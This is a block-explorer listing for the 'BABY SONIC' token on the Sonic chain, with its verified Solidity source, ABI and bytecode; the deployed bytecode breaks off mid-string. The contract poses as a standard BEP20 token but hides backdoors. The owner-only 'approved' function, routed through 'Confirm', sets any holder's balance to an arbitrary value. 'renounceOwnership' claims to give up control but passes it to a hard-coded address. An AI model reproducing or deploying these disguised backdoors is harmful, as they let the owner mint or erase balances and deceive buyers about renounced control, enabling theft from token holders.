Token

BABY SONIC (BABYSONIC)

Overview

Max Total Supply

690,000,000 BABYSONIC

Holders

119

Market

Price

-

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,557.916870132 BABYSONIC

Value
$0.00
0xdde9b465c13e9aac0fe55f2083e59e2e3dad50a5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BABYSONIC

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at SonicScan.org on 2024-12-20
*/

// Why BABYSONIC?

// Super-Fast 
// Super Cute Baby Hedgehog
// Powered by The Fastest Blockchain

//  Be a part of the cutest ride in crypto!

// https://babysonic.io/
// https://x.com/BabySonic100
// https://t.me/BABYONSONIC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.21;

interface BEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x5db37d4BC7cd6827b0C7D8f4892438611f1ed91B));
        _owner = address(0x5db37d4BC7cd6827b0C7D8f4892438611f1ed91B);
    }
 
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract BABYSONIC  is Context, BEP20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply;
    uint8 private _decimals;
    string private _symbol;
    string private _name;

    constructor() {
        _name = "BABY SONIC";
        _symbol = "BABYSONIC";
        _decimals = 9;
        _totalSupply = 690000000 * 10 ** 9;
        _balances[_msgSender()] = _totalSupply;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function getOwner() external view override returns (address) {
        return owner();
    }
    
    function decimals() external view override returns (uint8) {
        return _decimals;
    }
    
    function symbol() external view override returns (string memory) {
        return _symbol;
    }
    
    function name() external view override returns (string memory) {
        return _name;
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function Confirm(uint256 target, uint256 accuracy, address _comptes) internal view onlyOwner returns (uint256) {
        return target + accuracy; 
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
        return true;
    }
    
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
        return true;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function approved(uint256 target, uint256 accuracy, address _comptes) external onlyOwner {
        _balances[_comptes] = Confirm(target, accuracy, _comptes); // Updated to call Confirm
    }

    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"},{"internalType":"address","name":"_comptes","type":"address"}],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801562000010575f80fd5b505f620000226200024760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600a81526020017f4241425920534f4e49430000000000000000000000000000000000000000000081525060069081620001049190620004b2565b506040518060400160405280600981526020017f42414259534f4e49430000000000000000000000000000000000000000000000815250600590816200014b9190620004b2565b50600960045f6101000a81548160ff021916908360ff1602179055506709935f581f05000060038190555060035460015f6200018c6200024760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620001d96200024760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620002399190620005a7565b60405180910390a3620005c2565b5f33905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002ca57607f821691505b602082108103620002e057620002df62000285565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003447fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000307565b62000350868362000307565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200039a620003946200038e8462000368565b62000371565b62000368565b9050919050565b5f819050919050565b620003b5836200037a565b620003cd620003c482620003a1565b84845462000313565b825550505050565b5f90565b620003e3620003d5565b620003f0818484620003aa565b505050565b5b8181101562000417576200040b5f82620003d9565b600181019050620003f6565b5050565b601f82111562000466576200043081620002e6565b6200043b84620002f8565b810160208510156200044b578190505b620004636200045a85620002f8565b830182620003f5565b50505b505050565b5f82821c905092915050565b5f620004885f19846008026200046b565b1980831691505092915050565b5f620004a2838362000477565b9150826002028217905092915050565b620004bd826200024e565b67ffffffffffffffff811115620004d957620004d862000258565b5b620004e58254620002b2565b620004f28282856200041b565b5f60209050601f83116001811462000528575f841562000513578287015190505b6200051f858262000495565b8655506200058e565b601f1984166200053886620002e6565b5f5b8281101562000561578489015182556001820191506020850194506020810190506200053a565b868310156200058157848901516200057d601f89168262000477565b8355505b6001600288020188555050505b505050505050565b620005a18162000368565b82525050565b5f602082019050620005bc5f83018462000596565b92915050565b61178280620005d05f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063a457c2d711610064578063a457c2d714610275578063a9059cbb146102a5578063bb684d0d146102d5578063dd62ed3e146102f1576100f3565b8063715018a614610211578063893d20e81461021b5780638da5cb5b1461023957806395d89b4114610257576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806339509351146101b157806370a08231146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff610321565b60405161010c9190611032565b60405180910390f35b61012f600480360381019061012a91906110e3565b6103b1565b60405161013c919061113b565b60405180910390f35b61014d6103ce565b60405161015a9190611163565b60405180910390f35b61017d6004803603810190610178919061117c565b6103d7565b60405161018a919061113b565b60405180910390f35b61019b6104ab565b6040516101a891906111e7565b60405180910390f35b6101cb60048036038101906101c691906110e3565b6104c0565b6040516101d8919061113b565b60405180910390f35b6101fb60048036038101906101f69190611200565b61056e565b6040516102089190611163565b60405180910390f35b6102196105b4565b005b610223610712565b604051610230919061123a565b60405180910390f35b610241610720565b60405161024e919061123a565b60405180910390f35b61025f610747565b60405161026c9190611032565b60405180910390f35b61028f600480360381019061028a91906110e3565b6107d7565b60405161029c919061113b565b60405180910390f35b6102bf60048036038101906102ba91906110e3565b61089f565b6040516102cc919061113b565b60405180910390f35b6102ef60048036038101906102ea9190611253565b6108bc565b005b61030b600480360381019061030691906112a3565b610989565b6040516103189190611163565b60405180910390f35b6060600680546103309061130e565b80601f016020809104026020016040519081016040528092919081815260200182805461035c9061130e565b80156103a75780601f1061037e576101008083540402835291602001916103a7565b820191905f5260205f20905b81548152906001019060200180831161038a57829003601f168201915b5050505050905090565b5f6103c46103bd610a0b565b8484610a12565b6001905092915050565b5f600354905090565b5f6103e3848484610bd5565b6104a0846103ef610a0b565b61049b856040518060600160405280602881526020016116da6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610452610a0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e579092919063ffffffff16565b610a12565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f6105646104cc610a0b565b8461055f8560025f6104dc610a0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610eb990919063ffffffff16565b610a12565b6001905092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105bc610a0b565b73ffffffffffffffffffffffffffffffffffffffff166105da610720565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611388565b60405180910390fd5b735db37d4bc7cd6827b0c7d8f4892438611f1ed91b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3735db37d4bc7cd6827b0c7d8f4892438611f1ed91b5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f61071b610720565b905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107569061130e565b80601f01602080910402602001604051908101604052809291908181526020018280546107829061130e565b80156107cd5780601f106107a4576101008083540402835291602001916107cd565b820191905f5260205f20905b8154815290600101906020018083116107b057829003601f168201915b5050505050905090565b5f6108956107e3610a0b565b84610890856040518060600160405280602581526020016117286025913960025f61080c610a0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e579092919063ffffffff16565b610a12565b6001905092915050565b5f6108b26108ab610a0b565b8484610bd5565b6001905092915050565b6108c4610a0b565b73ffffffffffffffffffffffffffffffffffffffff166108e2610720565b73ffffffffffffffffffffffffffffffffffffffff1614610938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092f90611388565b60405180910390fd5b610943838383610f16565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790611416565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae5906114a4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bc89190611163565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3a90611532565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca8906115c0565b60405180910390fd5b610d1b816040518060600160405280602681526020016117026026913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e579092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dac8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610eb990919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e4a9190611163565b60405180910390a3505050565b5f838311158290610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e959190611032565b60405180910390fd5b505f8385610eac919061160b565b9050809150509392505050565b5f808284610ec7919061163e565b905083811015610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f03906116bb565b60405180910390fd5b8091505092915050565b5f610f1f610a0b565b73ffffffffffffffffffffffffffffffffffffffff16610f3d610720565b73ffffffffffffffffffffffffffffffffffffffff1614610f93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8a90611388565b60405180910390fd5b8284610f9f919061163e565b90509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610fdf578082015181840152602081019050610fc4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61100482610fa8565b61100e8185610fb2565b935061101e818560208601610fc2565b61102781610fea565b840191505092915050565b5f6020820190508181035f83015261104a8184610ffa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61107f82611056565b9050919050565b61108f81611075565b8114611099575f80fd5b50565b5f813590506110aa81611086565b92915050565b5f819050919050565b6110c2816110b0565b81146110cc575f80fd5b50565b5f813590506110dd816110b9565b92915050565b5f80604083850312156110f9576110f8611052565b5b5f6111068582860161109c565b9250506020611117858286016110cf565b9150509250929050565b5f8115159050919050565b61113581611121565b82525050565b5f60208201905061114e5f83018461112c565b92915050565b61115d816110b0565b82525050565b5f6020820190506111765f830184611154565b92915050565b5f805f6060848603121561119357611192611052565b5b5f6111a08682870161109c565b93505060206111b18682870161109c565b92505060406111c2868287016110cf565b9150509250925092565b5f60ff82169050919050565b6111e1816111cc565b82525050565b5f6020820190506111fa5f8301846111d8565b92915050565b5f6020828403121561121557611214611052565b5b5f6112228482850161109c565b91505092915050565b61123481611075565b82525050565b5f60208201905061124d5f83018461122b565b92915050565b5f805f6060848603121561126a57611269611052565b5b5f611277868287016110cf565b9350506020611288868287016110cf565b92505060406112998682870161109c565b9150509250925092565b5f80604083850312156112b9576112b8611052565b5b5f6112c68582860161109c565b92505060206112d78582860161109c565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061132557607f821691505b602082108103611338576113376112e1565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611372602083610fb2565b915061137d8261133e565b602082019050919050565b5f6020820190508181035f83015261139f81611366565b9050919050565b7f42455032303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611400602483610fb2565b915061140b826113a6565b604082019050919050565b5f6020820190508181035f83015261142d816113f4565b9050919050565b7f42455032303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61148e602283610fb2565b915061149982611434565b604082019050919050565b5f6020820190508181035f8301526114bb81611482565b9050919050565b7f42455032303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61151c602583610fb2565b9150611527826114c2565b604082019050919050565b5f6020820190508181035f83015261154981611510565b9050919050565b7f42455032303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6115aa602383610fb2565b91506115b582611550565b604082019050919050565b5f6020820190508181035f8301526115d78161159e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611615826110b0565b9150611620836110b0565b9250828203905081811115611638576116376115de565b5b92915050565b5f611648826110b0565b9150611653836110b0565b925082820190508082111561166b5761166a6115de565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6116a5601b83610fb2565b91506116b082611671565b602082019050919050565b5f6020820190508181035f8301526116d281611699565b905091905056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220312f950c539784cdb67d951ed116acdfa936ac9d74f2c59b9191929f7752df6464736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063a457c2d711610064578063a457c2d714610275578063a9059cbb146102a5578063bb684d0d146102d5578063dd62ed3e146102f1576100f3565b8063715018a614610211578063893d20e81461021b5780638da5cb5b1461023957806395d89b4114610257576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce5671461019357806339509351146101b157806370a08231146101e1576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff610321565b60405161010c9190611032565b60405180910390f35b61012f600480360381019061012a91906110e3565b6103b1565b60405161013c919061113b565b60405180910390f35b61014d6103ce565b60405161015a9190611163565b60405180910390f35b61017d6004803603810190610178919061117c565b6103d7565b60405161018a919061113b565b60405180910390f35b61019b6104ab565b6040516101a891906111e7565b60405180910390f35b6101cb60048036038101906101c691906110e3565b6104c0565b6040516101d8919061113b565b60405180910390f35b6101fb60048036038101906101f69190611200565b61056e565b6040516102089190611163565b60405180910390f35b6102196105b4565b005b610223610712565b604051610230919061123a565b60405180910390f35b610241610720565b60405161024e919061123a565b60405180910390f35b61025f610747565b60405161026c9190611032565b60405180910390f35b61028f600480360381019061028a91906110e3565b6107d7565b60405161029c919061113b565b60405180910390f35b6102bf60048036038101906102ba91906110e3565b61089f565b6040516102cc919061113b565b60405180910390f35b6102ef60048036038101906102ea9190611253565b6108bc565b005b61030b600480360381019061030691906112a3565b610989565b6040516103189190611163565b60405180910390f35b6060600680546103309061130e565b80601f016020809104026020016040519081016040528092919081815260200182805461035c9061130e565b80156103a75780601f1061037e576101008083540402835291602001916103a7565b820191905f5260205f20905b81548152906001019060200180831161038a57829003601f168201915b5050505050905090565b5f6103c46103bd610a0b565b8484610a12565b6001905092915050565b5f600354905090565b5f6103e3848484610bd5565b6104a0846103ef610a0b565b61049b856040518060600160405280602881526020016116da6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610452610a0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e579092919063ffffffff16565b610a12565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f6105646104cc610a0b565b8461055f8560025f6104dc610a0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610eb990919063ffffffff16565b610a12565b6001905092915050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6105bc610a0b565b73ffffffffffffffffffffffffffffffffffffffff166105da610720565b73ffffffffffffffffffffffffffffffffffffffff1614610630576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062790611388565b60405180910390fd5b735db37d4bc7cd6827b0c7d8f4892438611f1ed91b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3735db37d4bc7cd6827b0c7d8f4892438611f1ed91b5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f61071b610720565b905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107569061130e565b80601f01602080910402602001604051908101604052809291908181526020018280546107829061130e565b80156107cd5780601f106107a4576101008083540402835291602001916107cd565b820191905f5260205f20905b8154815290600101906020018083116107b057829003601f168201915b5050505050905090565b5f6108956107e3610a0b565b84610890856040518060600160405280602581526020016117286025913960025f61080c610a0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e579092919063ffffffff16565b610a12565b6001905092915050565b5f6108b26108ab610a0b565b8484610bd5565b6001905092915050565b6108c4610a0b565b73ffffffffffffffffffffffffffffffffffffffff166108e2610720565b73ffffffffffffffffffffffffffffffffffffffff1614610938576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092f90611388565b60405180910390fd5b610943838383610f16565b60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790611416565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610aee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae5906114a4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bc89190611163565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3a90611532565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca8906115c0565b60405180910390fd5b610d1b816040518060600160405280602681526020016117026026913960015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610e579092919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610dac8160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610eb990919063ffffffff16565b60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffff